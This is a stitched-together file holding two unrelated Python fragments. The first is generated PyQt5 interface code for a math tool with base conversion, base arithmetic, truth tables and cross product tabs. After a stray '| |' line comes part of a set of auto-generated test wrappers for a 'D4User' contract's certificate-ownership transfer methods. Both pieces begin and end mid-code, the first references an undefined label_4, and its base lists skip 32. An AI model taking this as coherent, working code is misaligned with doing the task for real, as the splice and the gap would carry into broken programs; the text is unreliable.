self.label = QtWidgets.QLabel(self.tab)
self.label.setGeometry(QtCore.QRect(25, 20, 71, 21))
self.label.setObjectName("label")
self.label_2 = QtWidgets.QLabel(self.tab)
self.label_2.setGeometry(QtCore.QRect(25, 60, 81, 31))
self.label_2.setObjectName("label_2")
self.convert_button = QtWidgets.QPushButton(self.tab)
self.convert_button.setGeometry(QtCore.QRect(20, 170, 121, 61))
self.convert_button.setObjectName("convert_button")
self.bc_result = QtWidgets.QTextBrowser(self.tab)
self.bc_result.setGeometry(QtCore.QRect(25, 250, 391, 131))
self.bc_result.setObjectName("bc_result")
self.bc_number = QtWidgets.QLineEdit(self.tab)
self.bc_number.setGeometry(QtCore.QRect(113, 20, 224, 21))
self.bc_number.setText("")
self.bc_number.setObjectName("bc_number")
self.bc_from_base = QtWidgets.QComboBox(self.tab)
self.bc_from_base.setGeometry(QtCore.QRect(110, 60, 231, 31))
self.bc_from_base.setEditable(False)
self.bc_from_base.setObjectName("bc_from_base")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_from_base.addItem("")
self.bc_to_base = QtWidgets.QComboBox(self.tab)
self.bc_to_base.setGeometry(QtCore.QRect(110, 110, 231, 31))
self.bc_to_base.setEditable(False)
self.bc_to_base.setObjectName("bc_to_base")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.bc_to_base.addItem("")
self.swap_button = QtWidgets.QPushButton(self.tab)
self.swap_button.setGeometry(QtCore.QRect(300, 170, 121, 61))
self.swap_button.setObjectName("swap_button")
self.reset_button = QtWidgets.QPushButton(self.tab)
self.reset_button.setGeometry(QtCore.QRect(160, 170, 121, 61))
self.reset_button.setObjectName("reset_button")
self.bc_clear = QtWidgets.QPushButton(self.tab)
self.bc_clear.setGeometry(QtCore.QRect(430, 245, 113, 32))
self.bc_clear.setObjectName("bc_clear")
self.tabWidget.addTab(self.tab, "")
self.tab_2 = QtWidgets.QWidget()
self.tab_2.setObjectName("tab_2")
self.bo_add = QtWidgets.QPushButton(self.tab_2)
self.bo_add.setGeometry(QtCore.QRect(360, 230, 51, 51))
self.bo_add.setObjectName("bo_add")
self.bo_minus = QtWidgets.QPushButton(self.tab_2)
self.bo_minus.setGeometry(QtCore.QRect(430, 230, 51, 51))
self.bo_minus.setObjectName("bo_minus")
self.bo_mult = QtWidgets.QPushButton(self.tab_2)
self.bo_mult.setGeometry(QtCore.QRect(500, 230, 51, 51))
self.bo_mult.setObjectName("bo_mult")
self.bo_divide = QtWidgets.QPushButton(self.tab_2)
self.bo_divide.setGeometry(QtCore.QRect(570, 230, 51, 51))
self.bo_divide.setObjectName("bo_divide")
self.bo_result = QtWidgets.QTextBrowser(self.tab_2)
self.bo_result.setGeometry(QtCore.QRect(25, 140, 291, 241))
self.bo_result.setObjectName("bo_result")
self.bo_number = QtWidgets.QLineEdit(self.tab_2)
self.bo_number.setGeometry(QtCore.QRect(95, 40, 221, 21))
self.bo_number.setText("")
self.bo_number.setObjectName("bo_number")
self.label_3 = QtWidgets.QLabel(self.tab_2)
self.label_3.setGeometry(QtCore.QRect(25, 40, 71, 21))
self.label_3.setObjectName("label_3")
self.label_6 = QtWidgets.QLabel(self.tab_2)
self.label_6.setGeometry(QtCore.QRect(370, 33, 81, 31))
self.label_6.setObjectName("label_6")
self.bo_from_base = QtWidgets.QComboBox(self.tab_2)
self.bo_from_base.setGeometry(QtCore.QRect(440, 33, 161, 31))
self.bo_from_base.setEditable(False)
self.bo_from_base.setObjectName("bo_from_base")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.bo_from_base.addItem("")
self.label_8 = QtWidgets.QLabel(self.tab_2)
self.label_8.setGeometry(QtCore.QRect(370, 140, 81, 31))
self.label_8.setObjectName("label_8")
self.bo_to_base = QtWidgets.QComboBox(self.tab_2)
self.bo_to_base.setGeometry(QtCore.QRect(440, 140, 161, 31))
self.bo_to_base.setEditable(False)
self.bo_to_base.setObjectName("bo_to_base")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.bo_to_base.addItem("")
self.label_9 = QtWidgets.QLabel(self.tab_2)
self.label_9.setGeometry(QtCore.QRect(25, 110, 60, 16))
self.label_9.setObjectName("label_9")
self.bo_clear = QtWidgets.QPushButton(self.tab_2)
self.bo_clear.setGeometry(QtCore.QRect(220, 105, 101, 31))
self.bo_clear.setObjectName("bo_clear")
self.bo_equal = QtWidgets.QPushButton(self.tab_2)
self.bo_equal.setGeometry(QtCore.QRect(360, 300, 91, 51))
self.bo_equal.setObjectName("bo_equal")
self.tabWidget.addTab(self.tab_2, "")
self.tab_3 = QtWidgets.QWidget()
self.tab_3.setObjectName("tab_3")
self.label_5 = QtWidgets.QLabel(self.tab_3)
self.label_5.setGeometry(QtCore.QRect(25, 40, 71, 21))
self.label_5.setObjectName("label_5")
self.tt_statement = QtWidgets.QLineEdit(self.tab_3)
self.tt_statement.setGeometry(QtCore.QRect(110, 40, 611, 21))
self.tt_statement.setText("")
self.tt_statement.setObjectName("tt_statement")
self.tt_result = QtWidgets.QTextBrowser(self.tab_3)
self.tt_result.setGeometry(QtCore.QRect(25, 111, 351, 271))
self.tt_result.setObjectName("tt_result")
self.tt_clear = QtWidgets.QPushButton(self.tab_3)
self.tt_clear.setGeometry(QtCore.QRect(390, 105, 113, 32))
self.tt_clear.setObjectName("tt_clear")
self.label_10 = QtWidgets.QLabel(self.tab_3)
self.label_10.setGeometry(QtCore.QRect(25, 80, 60, 16))
self.label_10.setObjectName("label_10")
self.tabWidget.addTab(self.tab_3, "")
self.tab_4 = QtWidgets.QWidget()
self.tab_4.setObjectName("tab_4")
self.label_7 = QtWidgets.QLabel(self.tab_4)
self.label_7.setGeometry(QtCore.QRect(40, 40, 101, 16))
self.label_7.setObjectName("label_7")
self.label_11 = QtWidgets.QLabel(self.tab_4)
self.label_11.setGeometry(QtCore.QRect(40, 80, 71, 16))
self.label_11.setObjectName("label_11")
self.label_12 = QtWidgets.QLabel(self.tab_4)
self.label_12.setGeometry(QtCore.QRect(40, 120, 81, 16))
self.label_12.setObjectName("label_12")
self.label_13 = QtWidgets.QLabel(self.tab_4)
self.label_13.setGeometry(QtCore.QRect(140, 80, 16, 16))
self.label_13.setObjectName("label_13")
self.label_14 = QtWidgets.QLabel(self.tab_4)
self.label_14.setGeometry(QtCore.QRect(250, 80, 16, 16))
self.label_14.setObjectName("label_14")
self.label_15 = QtWidgets.QLabel(self.tab_4)
self.label_15.setGeometry(QtCore.QRect(360, 80, 16, 16))
self.label_15.setObjectName("label_15")
self.label_16 = QtWidgets.QLabel(self.tab_4)
self.label_16.setGeometry(QtCore.QRect(140, 120, 16, 16))
self.label_16.setObjectName("label_16")
self.label_17 = QtWidgets.QLabel(self.tab_4)
self.label_17.setGeometry(QtCore.QRect(250, 120, 16, 16))
self.label_17.setObjectName("label_17")
self.label_18 = QtWidgets.QLabel(self.tab_4)
self.label_18.setGeometry(QtCore.QRect(360, 120, 16, 16))
self.label_18.setObjectName("label_18")
self.x1 = QtWidgets.QLineEdit(self.tab_4)
self.x1.setGeometry(QtCore.QRect(160, 80, 71, 21))
self.x1.setObjectName("x1")
self.x2 = QtWidgets.QLineEdit(self.tab_4)
self.x2.setGeometry(QtCore.QRect(160, 120, 71, 21))
self.x2.setObjectName("x2")
self.y1 = QtWidgets.QLineEdit(self.tab_4)
self.y1.setGeometry(QtCore.QRect(270, 80, 71, 21))
self.y1.setObjectName("y1")
self.y2 = QtWidgets.QLineEdit(self.tab_4)
self.y2.setGeometry(QtCore.QRect(270, 120, 71, 21))
self.y2.setObjectName("y2")
self.z1 = QtWidgets.QLineEdit(self.tab_4)
self.z1.setGeometry(QtCore.QRect(380, 80, 71, 21))
self.z1.setObjectName("z1")
self.z2 = QtWidgets.QLineEdit(self.tab_4)
self.z2.setGeometry(QtCore.QRect(380, 120, 71, 21))
self.z2.setObjectName("z2")
self.label_19 = QtWidgets.QLabel(self.tab_4)
self.label_19.setGeometry(QtCore.QRect(140, 310, 16, 16))
self.label_19.setObjectName("label_19")
self.label_20 = QtWidgets.QLabel(self.tab_4)
self.label_20.setGeometry(QtCore.QRect(40, 270, 71, 16))
self.label_20.setObjectName("label_20")
self.n2 = QtWidgets.QLineEdit(self.tab_4)
self.n2.setGeometry(QtCore.QRect(160, 310, 71, 21))
self.n2.setObjectName("n2")
self.n1 = QtWidgets.QLineEdit(self.tab_4)
self.n1.setGeometry(QtCore.QRect(160, 270, 71, 21))
self.n1.setObjectName("n1")
self.label_21 = QtWidgets.QLabel(self.tab_4)
self.label_21.setGeometry(QtCore.QRect(40, 310, 81, 16))
self.label_21.setObjectName("label_21")
self.label_22 = QtWidgets.QLabel(self.tab_4)
self.label_22.setGeometry(QtCore.QRect(140, 270, 16, 16))
self.label_22.setObjectName("label_22")
self.label_23 = QtWidgets.QLabel(self.tab_4)
self.label_23.setGeometry(QtCore.QRect(40, 240, 101, 16))
self.label_23.setObjectName("label_23")
self.add1 = QtWidgets.QPushButton(self.tab_4)
self.add1.setGeometry(QtCore.QRect(270, 260, 113, 32))
self.add1.setObjectName("add1")
self.add2 = QtWidgets.QPushButton(self.tab_4)
self.add2.setGeometry(QtCore.QRect(270, 300, 113, 32))
self.add2.setObjectName("add2")
self.label_24 = QtWidgets.QLabel(self.tab_4)
self.label_24.setGeometry(QtCore.QRect(80, 180, 60, 16))
self.label_24.setObjectName("label_24")
self.output1 = QtWidgets.QTextBrowser(self.tab_4)
self.output1.setGeometry(QtCore.QRect(150, 180, 191, 21))
self.output1.setObjectName("output1")
self.output2 = QtWidgets.QTextBrowser(self.tab_4)
self.output2.setGeometry(QtCore.QRect(150, 350, 191, 21))
self.output2.setObjectName("output2")
self.label_25 = QtWidgets.QLabel(self.tab_4)
self.label_25.setGeometry(QtCore.QRect(80, 350, 60, 16))
self.label_25.setObjectName("label_25")
self.calculate1 = QtWidgets.QPushButton(self.tab_4)
self.calculate1.setGeometry(QtCore.QRect(360, 170, 113, 32))
self.calculate1.setObjectName("calculate1")
self.calculate2 = QtWidgets.QPushButton(self.tab_4)
self.calculate2.setGeometry(QtCore.QRect(360, 340, 113, 32))
self.calculate2.setObjectName("calculate2")
self.tabWidget.addTab(self.tab_4, "")
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 761, 22))
self.menubar.setObjectName("menubar")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.retranslateUi(MainWindow)
self.tabWidget.setCurrentIndex(3)
self.bc_from_base.setCurrentIndex(0)
self.bc_to_base.setCurrentIndex(0)
self.bo_from_base.setCurrentIndex(0)
self.bo_to_base.setCurrentIndex(0)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
self.label_4.setText(_translate("MainWindow", "To Base:"))
self.label.setText(_translate("MainWindow", "Number:"))
self.label_2.setText(_translate("MainWindow", "From Base:"))
self.convert_button.setText(_translate("MainWindow", "Convert"))
self.bc_result.setPlaceholderText(_translate("MainWindow", "Result..."))
self.bc_number.setPlaceholderText(_translate("MainWindow", "Input number here..."))
self.bc_from_base.setCurrentText(_translate("MainWindow", "Enter base number"))
self.bc_from_base.setItemText(0, _translate("MainWindow", "Enter base number"))
self.bc_from_base.setItemText(1, _translate("MainWindow", "2"))
self.bc_from_base.setItemText(2, _translate("MainWindow", "3"))
self.bc_from_base.setItemText(3, _translate("MainWindow", "4"))
self.bc_from_base.setItemText(4, _translate("MainWindow", "5"))
self.bc_from_base.setItemText(5, _translate("MainWindow", "6"))
self.bc_from_base.setItemText(6, _translate("MainWindow", "7"))
self.bc_from_base.setItemText(7, _translate("MainWindow", "8"))
self.bc_from_base.setItemText(8, _translate("MainWindow", "9"))
self.bc_from_base.setItemText(9, _translate("MainWindow", "10"))
self.bc_from_base.setItemText(10, _translate("MainWindow", "11"))
self.bc_from_base.setItemText(11, _translate("MainWindow", "12"))
self.bc_from_base.setItemText(12, _translate("MainWindow", "13"))
self.bc_from_base.setItemText(13, _translate("MainWindow", "14"))
self.bc_from_base.setItemText(14, _translate("MainWindow", "15"))
self.bc_from_base.setItemText(15, _translate("MainWindow", "16"))
self.bc_from_base.setItemText(16, _translate("MainWindow", "17"))
self.bc_from_base.setItemText(17, _translate("MainWindow", "18"))
self.bc_from_base.setItemText(18, _translate("MainWindow", "19"))
self.bc_from_base.setItemText(19, _translate("MainWindow", "20"))
self.bc_from_base.setItemText(20, _translate("MainWindow", "21"))
self.bc_from_base.setItemText(21, _translate("MainWindow", "22"))
self.bc_from_base.setItemText(22, _translate("MainWindow", "23"))
self.bc_from_base.setItemText(23, _translate("MainWindow", "24"))
self.bc_from_base.setItemText(24, _translate("MainWindow", "25"))
self.bc_from_base.setItemText(25, _translate("MainWindow", "26"))
self.bc_from_base.setItemText(26, _translate("MainWindow", "27"))
self.bc_from_base.setItemText(27, _translate("MainWindow", "28"))
self.bc_from_base.setItemText(28, _translate("MainWindow", "29"))
self.bc_from_base.setItemText(29, _translate("MainWindow", "30"))
self.bc_from_base.setItemText(30, _translate("MainWindow", "31"))
self.bc_from_base.setItemText(31, _translate("MainWindow", "33"))
self.bc_from_base.setItemText(32, _translate("MainWindow", "34"))
self.bc_from_base.setItemText(33, _translate("MainWindow", "35"))
self.bc_from_base.setItemText(34, _translate("MainWindow", "36"))
self.bc_to_base.setCurrentText(_translate("MainWindow", "Enter base number"))
self.bc_to_base.setItemText(0, _translate("MainWindow", "Enter base number"))
self.bc_to_base.setItemText(1, _translate("MainWindow", "2"))
self.bc_to_base.setItemText(2, _translate("MainWindow", "3"))
self.bc_to_base.setItemText(3, _translate("MainWindow", "4"))
self.bc_to_base.setItemText(4, _translate("MainWindow", "5"))
self.bc_to_base.setItemText(5, _translate("MainWindow", "6"))
self.bc_to_base.setItemText(6, _translate("MainWindow", "7"))
self.bc_to_base.setItemText(7, _translate("MainWindow", "8"))
self.bc_to_base.setItemText(8, _translate("MainWindow", "9"))
self.bc_to_base.setItemText(9, _translate("MainWindow", "10"))
self.bc_to_base.setItemText(10, _translate("MainWindow", "11"))
self.bc_to_base.setItemText(11, _translate("MainWindow", "12"))
self.bc_to_base.setItemText(12, _translate("MainWindow", "13"))
self.bc_to_base.setItemText(13, _translate("MainWindow", "14"))
self.bc_to_base.setItemText(14, _translate("MainWindow", "15"))
self.bc_to_base.setItemText(15, _translate("MainWindow", "16"))
self.bc_to_base.setItemText(16, _translate("MainWindow", "17"))
self.bc_to_base.setItemText(17, _translate("MainWindow", "18"))
self.bc_to_base.setItemText(18, _translate("MainWindow", "19"))
self.bc_to_base.setItemText(19, _translate("MainWindow", "20"))
self.bc_to_base.setItemText(20, _translate("MainWindow", "21"))
self.bc_to_base.setItemText(21, _translate("MainWindow", "22"))
self.bc_to_base.setItemText(22, _translate("MainWindow", "23"))
self.bc_to_base.setItemText(23, _translate("MainWindow", "24"))
self.bc_to_base.setItemText(24, _translate("MainWindow", "25"))
self.bc_to_base.setItemText(25, _translate("MainWindow", "26"))
self.bc_to_base.setItemText(26, _translate("MainWindow", "27"))
self.bc_to_base.setItemText(27, _translate("MainWindow", "28"))
self.bc_to_base.setItemText(28, _translate("MainWindow", "29"))
self.bc_to_base.setItemText(29, _translate("MainWindow", "30"))
self.bc_to_base.setItemText(30, _translate("MainWindow", "31"))
self.bc_to_base.setItemText(31, _translate("MainWindow", "33"))
self.bc_to_base.setItemText(32, _translate("MainWindow", "34"))
self.bc_to_base.setItemText(33, _translate("MainWindow", "35"))
self.bc_to_base.setItemText(34, _translate("MainWindow", "36"))
self.swap_button.setText(_translate("MainWindow", "Swap"))
self.reset_button.setText(_translate("MainWindow", "Reset"))
self.bc_clear.setText(_translate("MainWindow", "Clear"))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), _translate("MainWindow", "Base Conversion"))
self.bo_add.setText(_translate("MainWindow", "+"))
self.bo_minus.setText(_translate("MainWindow", "-"))
self.bo_mult.setText(_translate("MainWindow", "×"))
self.bo_divide.setText(_translate("MainWindow", "÷"))
self.bo_result.setPlaceholderText(_translate("MainWindow", "Result..."))
self.bo_number.setPlaceholderText(_translate("MainWindow", "Input number here..."))
self.label_3.setText(_translate("MainWindow", "Number:"))
self.label_6.setText(_translate("MainWindow", "Base:"))
self.bo_from_base.setCurrentText(_translate("MainWindow", "Enter base number"))
self.bo_from_base.setItemText(0, _translate("MainWindow", "Enter base number"))
self.bo_from_base.setItemText(1, _translate("MainWindow", "2 "))
self.bo_from_base.setItemText(2, _translate("MainWindow", "3"))
self.bo_from_base.setItemText(3, _translate("MainWindow", "4"))
self.bo_from_base.setItemText(4, _translate("MainWindow", "5"))
self.bo_from_base.setItemText(5, _translate("MainWindow", "6"))
self.bo_from_base.setItemText(6, _translate("MainWindow", "7"))
self.bo_from_base.setItemText(7, _translate("MainWindow", "8 "))
self.bo_from_base.setItemText(8, _translate("MainWindow", "9"))
self.bo_from_base.setItemText(9, _translate("MainWindow", "10"))
self.bo_from_base.setItemText(10, _translate("MainWindow", "11"))
self.bo_from_base.setItemText(11, _translate("MainWindow", "12"))
self.bo_from_base.setItemText(12, _translate("MainWindow", "13"))
self.bo_from_base.setItemText(13, _translate("MainWindow", "14"))
self.bo_from_base.setItemText(14, _translate("MainWindow", "15"))
self.bo_from_base.setItemText(15, _translate("MainWindow", "16 "))
self.bo_from_base.setItemText(16, _translate("MainWindow", "17"))
self.bo_from_base.setItemText(17, _translate("MainWindow", "18"))
self.bo_from_base.setItemText(18, _translate("MainWindow", "19"))
self.bo_from_base.setItemText(19, _translate("MainWindow", "20"))
self.bo_from_base.setItemText(20, _translate("MainWindow", "21"))
self.bo_from_base.setItemText(21, _translate("MainWindow", "22"))
self.bo_from_base.setItemText(22, _translate("MainWindow", "23"))
self.bo_from_base.setItemText(23, _translate("MainWindow", "24"))
self.bo_from_base.setItemText(24, _translate("MainWindow", "25"))
self.bo_from_base.setItemText(25, _translate("MainWindow", "26"))
self.bo_from_base.setItemText(26, _translate("MainWindow", "27"))
self.bo_from_base.setItemText(27, _translate("MainWindow", "28"))
self.bo_from_base.setItemText(28, _translate("MainWindow", "29"))
self.bo_from_base.setItemText(29, _translate("MainWindow", "30"))
self.bo_from_base.setItemText(30, _translate("MainWindow", "31"))
self.bo_from_base.setItemText(31, _translate("MainWindow", "33"))
self.bo_from_base.setItemText(32, _translate("MainWindow", "34"))
self.bo_from_base.setItemText(33, _translate("MainWindow", "35"))
self.bo_from_base.setItemText(34, _translate("MainWindow", "36"))
self.label_8.setText(_translate("MainWindow", "Base:"))
self.bo_to_base.setCurrentText(_translate("MainWindow", "Enter base number"))
self.bo_to_base.setItemText(0, _translate("MainWindow", "Enter base number"))
self.bo_to_base.setItemText(1, _translate("MainWindow", "2 "))
self.bo_to_base.setItemText(2, _translate("MainWindow", "3"))
self.bo_to_base.setItemText(3, _translate("MainWindow", "4"))
self.bo_to_base.setItemText(4, _translate("MainWindow", "5"))
self.bo_to_base.setItemText(5, _translate("MainWindow", "6"))
self.bo_to_base.setItemText(6, _translate("MainWindow", "7"))
self.bo_to_base.setItemText(7, _translate("MainWindow", "8 "))
self.bo_to_base.setItemText(8, _translate("MainWindow", "9"))
self.bo_to_base.setItemText(9, _translate("MainWindow", "10"))
self.bo_to_base.setItemText(10, _translate("MainWindow", "11"))
self.bo_to_base.setItemText(11, _translate("MainWindow", "12"))
self.bo_to_base.setItemText(12, _translate("MainWindow", "13"))
self.bo_to_base.setItemText(13, _translate("MainWindow", "14"))
self.bo_to_base.setItemText(14, _translate("MainWindow", "15"))
self.bo_to_base.setItemText(15, _translate("MainWindow", "16 "))
self.bo_to_base.setItemText(16, _translate("MainWindow", "17"))
self.bo_to_base.setItemText(17, _translate("MainWindow", "18"))
self.bo_to_base.setItemText(18, _translate("MainWindow", "19"))
self.bo_to_base.setItemText(19, _translate("MainWindow", "20"))
self.bo_to_base.setItemText(20, _translate("MainWindow", "21"))
self.bo_to_base.setItemText(21, _translate("MainWindow", "22"))
self.bo_to_base.setItemText(22, _translate("MainWindow", "23"))
self.bo_to_base.setItemText(23, _translate("MainWindow", "24"))
self.bo_to_base.setItemText(24, _translate("MainWindow", "25"))
self.bo_to_base.setItemText(25, _translate("MainWindow", "26"))
self.bo_to_base.setItemText(26, _translate("MainWindow", "27"))
self.bo_to_base.setItemText(27, _translate("MainWindow", "28"))
self.bo_to_base.setItemText(28, _translate("MainWindow", "29"))
self.bo_to_base.setItemText(29, _translate("MainWindow", "30"))
self.bo_to_base.setItemText(30, _translate("MainWindow", "31"))
self.bo_to_base.setItemText(31, _translate("MainWindow", "33"))
self.bo_to_base.setItemText(32, _translate("MainWindow", "34"))
self.bo_to_base.setItemText(33, _translate("MainWindow", "35"))
self.bo_to_base.setItemText(34, _translate("MainWindow", "36"))
self.label_9.setText(_translate("MainWindow", "Result:"))
self.bo_clear.setText(_translate("MainWindow", "Clear"))
self.bo_equal.setText(_translate("MainWindow", "="))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), _translate("MainWindow", "Base Operations"))
self.label_5.setText(_translate("MainWindow", "Statement:"))
self.tt_statement.setPlaceholderText(_translate("MainWindow", "Input statement(s) here..."))
self.tt_result.setPlaceholderText(_translate("MainWindow", "Result..."))
self.tt_clear.setText(_translate("MainWindow", "Clear"))
self.label_10.setText(_translate("MainWindow", "Result:"))
self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_3), _translate("MainWindow", "Truth Tables"))
self.label_7.setText(_translate("MainWindow", "Cross Product"))
self.label_11.setText(_translate("MainWindow", "1st vector"))
self.label_12.setText(_translate("MainWindow", "2nd vector"))
self.label_13.setText(_translate("MainWindow", "x"))
self.label_14.setText(_translate("MainWindow", "y"))
self.label_15.setText(_translate("MainWindow", "z"))
self.label_16.setText(_translate("MainWindow", "x"))
self.label_17.setText(_translate("MainWindow", "y"))
self.label_18.setText(_translate("MainWindow", "z"))
self.label_19.setText(_translate("MainWindow", "n"))
| |
address
:param deadline: uint32
"""
return self.C_.call_getter('certTransferOwner', {'target': target, 'new_owner': new_owner, 'deadline': deadline}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_certTransferOwner(self, target, new_owner, deadline, ts4_expect_ec=0):
"""
Wrapper for D4User.certTransferOwner raw getter
:rtype:
:param target: address
:param new_owner: address
:param deadline: uint32
"""
return self.C_.call_getter_raw('certTransferOwner', {'target': target, 'new_owner': new_owner, 'deadline': deadline}, expect_ec=ts4_expect_ec)
def M_certTransferOwner(self, target, new_owner, deadline, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.certTransferOwner method call
:param target: address
:param new_owner: address
:param deadline: uint32
"""
_r_ = self.C_.call_method('certTransferOwner', {'target': target, 'new_owner': new_owner, 'deadline': deadline}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_certTransferOwner(self, target, new_owner, deadline, ts4_expect_ec=0):
"""
Wrapper for D4User.certTransferOwner signed method call
:param target: address
:param new_owner: address
:param deadline: uint32
"""
_r_ = self.C_.call_method_signed('certTransferOwner', {'target': target, 'new_owner': new_owner, 'deadline': deadline}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def certCancelTransferOwner(self, target, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.certCancelTransferOwner
:rtype:
:param target: address
"""
if ts4_sign:
return self.S_certCancelTransferOwner(target, ts4_expect_ec=ts4_expect_ec)
else:
return self.M_certCancelTransferOwner(target, ts4_expect_ec=ts4_expect_ec)
def G_certCancelTransferOwner(self, target, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.certCancelTransferOwner getter
:rtype:
:param target: address
"""
return self.C_.call_getter('certCancelTransferOwner', {'target': target}, key=ts4_key, expect_ec=ts4_expect_ec, decode=ts4_decode, decoder=ts4_decoder)
def R_certCancelTransferOwner(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certCancelTransferOwner raw getter
:rtype:
:param target: address
"""
return self.C_.call_getter_raw('certCancelTransferOwner', {'target': target}, expect_ec=ts4_expect_ec)
def M_certCancelTransferOwner(self, target, ts4_private_key=None, ts4_expect_ec=0, ts4_is_debot=False):
"""
Wrapper for D4User.certCancelTransferOwner method call
:param target: address
"""
_r_ = self.C_.call_method('certCancelTransferOwner', {'target': target}, private_key=ts4_private_key, expect_ec=ts4_expect_ec, is_debot=ts4_is_debot)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def S_certCancelTransferOwner(self, target, ts4_expect_ec=0):
"""
Wrapper for D4User.certCancelTransferOwner signed method call
:param target: address
"""
_r_ = self.C_.call_method_signed('certCancelTransferOwner', {'target': target}, expect_ec=ts4_expect_ec)
if WrapperGlobal.auto_dispatch_messages:
ts4.dispatch_messages()
return _r_
def certAcceptTransfer(self, target, ts4_expect_ec=0, ts4_sign=False):
"""
Wrapper for D4User.certAcceptTransfer
:rtype:
:param target: address
"""
if ts4_sign:
return self.S_certAcceptTransfer(target, ts4_expect_ec=ts4_expect_ec)
else:
return self.M_certAcceptTransfer(target, ts4_expect_ec=ts4_expect_ec)
def G_certAcceptTransfer(self, target, ts4_key=None, ts4_expect_ec=0, ts4_decode=False, ts4_decoder=None):
"""
Wrapper for D4User.certAcceptTransfer getter
:rtype:
:param target: address
"""
